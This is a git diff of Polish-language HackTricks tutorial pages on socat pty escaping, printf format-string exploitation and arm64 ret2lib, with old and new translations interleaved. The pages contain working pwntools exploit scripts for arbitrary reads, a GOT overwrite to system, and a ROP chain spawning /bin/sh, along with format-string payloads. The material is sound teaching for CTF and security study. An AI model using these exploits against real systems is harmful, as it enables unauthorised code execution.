## Socat & pty
|
||||
|
||||
Należy zauważyć, że socat już przesyła **`stdin`** i **`stdout`** do gniazda. Jednak tryb `pty` **obejmuje znaki DELETE**. Dlatego jeśli wyślesz `\x7f` (`DELETE` -) to **usunie poprzedni znak** twojego exploitu.
|
||||
Zauważ, że socat już przesyła **`stdin`** i **`stdout`** do gniazda. Jednak tryb `pty` **zawiera znaki DELETE**. Więc, jeśli wyślesz `\x7f` ( `DELETE` -) to **usunie poprzedni znak** twojego exploita.
|
||||
|
||||
Aby ominąć to, **znak ucieczki `\x16` musi być poprzedzony przez każde `\x7f` wysłane.**
|
||||
Aby to obejść, **znak ucieczki `\x16` musi być dodany przed każdym wysłanym `\x7f`.**
|
||||
|
||||
**Tutaj możesz** [**znaleźć przykład tego zachowania**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Ciągi formatujące
|
||||
# Format Strings
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry**, które są oczekiwane, to **wartości**, które mają **zastąpić** **formatery** z surowego tekstu.
|
||||
W C **`printf`** to funkcja, która może być używana do **drukowania** pewnego ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry** to **wartości**, które mają **zastąpić** **formaty** w surowym tekście.
|
||||
|
||||
Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**.
|
||||
|
||||
Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, wykorzystując** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytliwym/zapisywalnym)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
|
||||
#### Formatery:
|
||||
```bash
|
||||
|
@ -44,11 +47,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* Z Brakującymi Argumentami:
|
||||
* Z brakującymi argumentami:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
* podatny fprintf:
|
||||
* fprintf podatny:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -63,27 +66,27 @@ return 0;
|
|||
```
|
||||
### **Dostęp do wskaźników**
|
||||
|
||||
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić:
|
||||
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać printf, aby wybrał n parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu używając printf, możesz to zrobić:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
i odczytałbyś od pierwszego do czwartego parametru.
|
||||
i możesz czytać od pierwszego do czwartego parametru.
|
||||
|
||||
Albo możesz:
|
||||
Lub możesz zrobić:
|
||||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
i przeczytaj bezpośrednio czwarty.
|
||||
i odczytać bezpośrednio czwarty.
|
||||
|
||||
Zauważ, że atakujący kontroluje parametr `pr`**`intf`, co oznacza, że** jego wejście będzie na stosie, gdy zostanie wywołane `printf`, co oznacza, że może wpisać konkretne adresy pamięci na stosie.
|
||||
Zauważ, że atakujący kontroluje parametr `pr`**`intf`**, co zasadniczo oznacza, że** jego dane wejściowe będą znajdować się na stosie, gdy `printf` zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atakujący kontrolujący to wejście, będzie mógł **dodać dowolny adres na stosie i sprawić, że `printf` będzie mógł się do nich odwołać**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
||||
Atakujący kontrolujący te dane wejściowe będzie w stanie **dodać dowolny adres na stosie i sprawić, że `printf` uzyska do nich dostęp**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
||||
{% endhint %}
|
||||
|
||||
## **Odczyt arbitralny**
|
||||
## **Arbitralne Odczyty**
|
||||
|
||||
Możliwe jest użycie formatownika **`%n$s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, a następnie **wydrukuje go jakby to był łańcuchem znaków** (wydrukuj do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, i wiemy, że wejście użytkownika zaczyna się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego z:
|
||||
Możliwe jest użycie formatera **`%n$s`**, aby sprawić, że **`printf`** uzyska **adres** znajdujący się na **n pozycji**, a następnie **wydrukuje go tak, jakby był ciągiem** (drukuj, aż znajdziesz 0x00). Więc jeśli adres bazowy binarnego pliku to **`0x8048000`**, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego pliku za pomocą:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -97,12 +100,12 @@ p.sendline(payload)
|
|||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu.
|
||||
Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.
|
||||
{% endhint %}
|
||||
|
||||
### Znajdź przesunięcie
|
||||
### Znajdź offset
|
||||
|
||||
Aby znaleźć przesunięcie dla swojego wejścia, możesz wysłać 4 lub 8 bajtów (`0x41414141`), a następnie **`%1$x`** i **zwiększyć** wartość, aż odzyskasz `A's`.
|
||||
Aby znaleźć offset do swojego wejścia, możesz wysłać 4 lub 8 bajtów (`0x41414141`) następnie **`%1$x`** i **zwiększać** wartość, aż uzyskasz `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -137,45 +140,45 @@ p.close()
|
|||
```
|
||||
</details>
|
||||
|
||||
### Jak użyteczne
|
||||
### Jak przydatne
|
||||
|
||||
Arbitrary reads mogą być przydatne do:
|
||||
Arbitralne odczyty mogą być przydatne do:
|
||||
|
||||
* **Wycieku** **binarnego** z pamięci
|
||||
* **Dostępu do konkretnych części pamięci, w których przechowywane są poufne** **informacje** (takie jak canaries, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
* **Zrzutu** **binarnego** z pamięci
|
||||
* **Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe** **informacje** (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
## **Arbitralne Zapis**
|
||||
|
||||
Formatter **`$<num>%n`** **zapisuje** liczbę zapisanych bajtów pod wskazany adres w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$<num>%n`** zapisze dowolną liczbę pod dowolnym adresem.
|
||||
Formatka **`$<num>%n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce, za pomocą printf, będzie w stanie sprawić, że **`$<num>%n`** zapisze arbitralną liczbę w arbitralnym adresie.
|
||||
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatki **`%.<num-write>%<num>$n`**, aby zapisać liczbę **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Jednakże zauważ, że zazwyczaj aby zapisać adres takiej jak `0x08049724` (który jest OGROMNY aby zapisać go naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych.
|
||||
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNYM numerem do zapisania na raz), **używa się `$hn`** zamiast `$n`. To pozwala na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
|
||||
|
||||
Ta podatność pozwala na **zapisanie czegokolwiek pod dowolny adres (arbitrary write).**
|
||||
Dlatego ta podatność pozwala na **zapisanie czegokolwiek w dowolnym adresie (dowolny zapis).**
|
||||
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która będzie wywoływana później. Chociaż można to wykorzystać w innych technikach dowolnego zapisu do exec:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Nadpiszemy **funkcję**, która **przyjmuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\
|
||||
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw **zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**.
|
||||
Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na **funkcję** **`system`**.\
|
||||
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: **najpierw zapisujesz 2 bajty** adresu, a następnie kolejne 2. W tym celu używa się **`$hn`**.
|
||||
|
||||
* **HOB** odnosi się do 2 najstarszych bajtów adresu
|
||||
* **LOB** odnosi się do 2 młodszych bajtów adresu
|
||||
* **HOB** jest wywoływane dla 2 wyższych bajtów adresu
|
||||
* **LOB** jest wywoływane dla 2 niższych bajtów adresu
|
||||
|
||||
Następnie, ze względu na sposób działania łańcucha formatującego, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\], a następnie drugi.
|
||||
Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB\], a potem drugi.
|
||||
|
||||
Jeśli HOB < LOB\
|
||||
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Jeśli HOB > LOB\
|
||||
`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
|
@ -187,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Szablon Pwntools
|
||||
|
||||
Możesz znaleźć **szablon** do przygotowania eksploitu dla tego rodzaju podatności w:
|
||||
Możesz znaleźć **szablon** do przygotowania exploita dla tego rodzaju podatności w:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Albo ten podstawowy przykład stąd [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Lub ten podstawowy przykład z [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -212,30 +215,33 @@ p.sendline('/bin/sh')
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
## Formatowanie łańcuchów do przepełnienia bufora
|
||||
## Format Strings do BOF
|
||||
|
||||
Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**.
|
||||
Możliwe jest nadużycie działań zapisu w podatności na format string, aby **zapisać w adresach stosu** i wykorzystać podatność typu **buffer overflow**.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie łańcuchów formatujących do wycieku flagi ze stosu (nie trzeba zmieniać przepływu wykonania)
|
||||
* 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie format strings do wycieku flagi ze stosu (nie ma potrzeby zmieniać przepływu wykonania)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, co spowoduje wykonanie przekazanych poleceń.
|
||||
* 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w `.fini_array` (aby przepływ wrócił jeszcze raz) i zapisania adresu do `system` w tabeli GOT wskazującego na `strlen`. Gdy przepływ wraca do main, `strlen` jest wykonywane z danymi wejściowymi użytkownika i wskazując na `system`, wykona przekazane polecenia.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Ret2lib + Wyciek Printf - arm64
|
||||
# Ret2lib + Printf leak - arm64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ret2lib - Omijanie NX za pomocą ROP (bez ASLR)
|
||||
## Ret2lib - obejście NX z ROP (bez ASLR)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -37,35 +38,35 @@ clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
|||
# Disable aslr
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### Znajdź przesunięcie
|
||||
### Find offset
|
||||
|
||||
### Przesunięcie x30
|
||||
### x30 offset
|
||||
|
||||
Tworząc wzorzec za pomocą **`pattern create 200`**, używając go i sprawdzając przesunięcie za pomocą **`pattern search $x30`**, możemy zobaczyć, że przesunięcie wynosi **`108`** (0x6c).
|
||||
Tworząc wzór za pomocą **`pattern create 200`**, używając go i sprawdzając offset za pomocą **`pattern search $x30`**, możemy zobaczyć, że offset wynosi **`108`** (0x6c).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Przyglądając się rozłożonej funkcji głównej, możemy zobaczyć, że chcielibyśmy **przeskoczyć** do instrukcji skoku bezpośrednio do **`printf`**, którego przesunięcie od miejsca, w którym załadowany jest plik binarny, wynosi **`0x860`**:
|
||||
Patrząc na zdisassemblowaną funkcję main, możemy zobaczyć, że chcielibyśmy **skoczyć** do instrukcji, aby bezpośrednio skoczyć do **`printf`**, którego offset od miejsca, w którym binarka jest załadowana, wynosi **`0x860`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Znajdź system i ciąg `/bin/sh`
|
||||
### Find system and `/bin/sh` string
|
||||
|
||||
Ponieważ ASLR jest wyłączone, adresy będą zawsze takie same:
|
||||
Ponieważ ASLR jest wyłączony, adresy będą zawsze takie same:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Znajdź Gadżety
|
||||
### Find Gadgets
|
||||
|
||||
Musimy mieć w **`x0`** adres ciągu **`/bin/sh`** i wywołać **`system`**.
|
||||
Musimy mieć w **`x0`** adres do ciągu **`/bin/sh`** i wywołać **`system`**.
|
||||
|
||||
Korzystając z narzędzia rooper, znaleziono interesujący gadżet:
|
||||
Używając rooper, znaleziono interesujący gadget:
|
||||
```
|
||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
```
|
||||
Ten gadżet załaduje `x0` z **`$sp + 0x18`** a następnie załaduje adresy x29 i x30 ze stosu i przeskoczy do x30. Dzięki temu gadżetowi możemy **kontrolować pierwszy argument i następnie skoczyć do systemu**.
|
||||
Ten gadżet załaduje `x0` z **`$sp + 0x18`** i następnie załaduje adresy x29 i x30 z sp oraz skoczy do x30. Dzięki temu gadżetowi możemy **kontrolować pierwszy argument, a następnie skoczyć do systemu**.
|
||||
|
||||
### Wykorzystanie
|
||||
### Exploit
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -95,7 +96,7 @@ p.sendline(payload)
|
|||
p.interactive()
|
||||
p.close()
|
||||
```
|
||||
## Ret2lib - NX, ASL & PIE bypass z wyciekiem printf z stosu
|
||||
## Ret2lib - obejście NX, ASL i PIE z wyciekami printf ze stosu
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -125,40 +126,42 @@ Kompiluj **bez canary**:
|
|||
```bash
|
||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
### PIE i ASLR, ale brak kanarka
|
||||
### PIE i ASLR, ale bez canary
|
||||
|
||||
* Runda 1:
|
||||
* Wyciek PIE ze stosu
|
||||
* Wykorzystanie przepełnienia bufora, aby wrócić do funkcji main
|
||||
* Wykorzystanie bof do powrotu do main
|
||||
* Runda 2:
|
||||
* Wyciek libc ze stosu
|
||||
* ROP: ret2system
|
||||
|
||||
### Wycieki z funkcji Printf
|
||||
### Wyciek printf
|
||||
|
||||
Ustawienie punktu przerwania przed wywołaniem funkcji printf pozwala zobaczyć, że na stosie znajdują się adresy do powrotu do binarnego pliku oraz adresy libc:
|
||||
Ustawiając punkt przerwania przed wywołaniem printf, można zobaczyć, że na stosie znajdują się adresy do powrotu do binarki oraz adresy libc:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Próba różnych przesunięć, **`%21$p`** może ujawnić adres binarny (omijanie PIE), a **`%25$p`** może ujawnić adres libc:
|
||||
Próbując różnych offsetów, **`%21$p`** może wyciekować adres binarki (obejście PIE), a **`%25$p`** może wyciekować adres libc:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||
|
||||
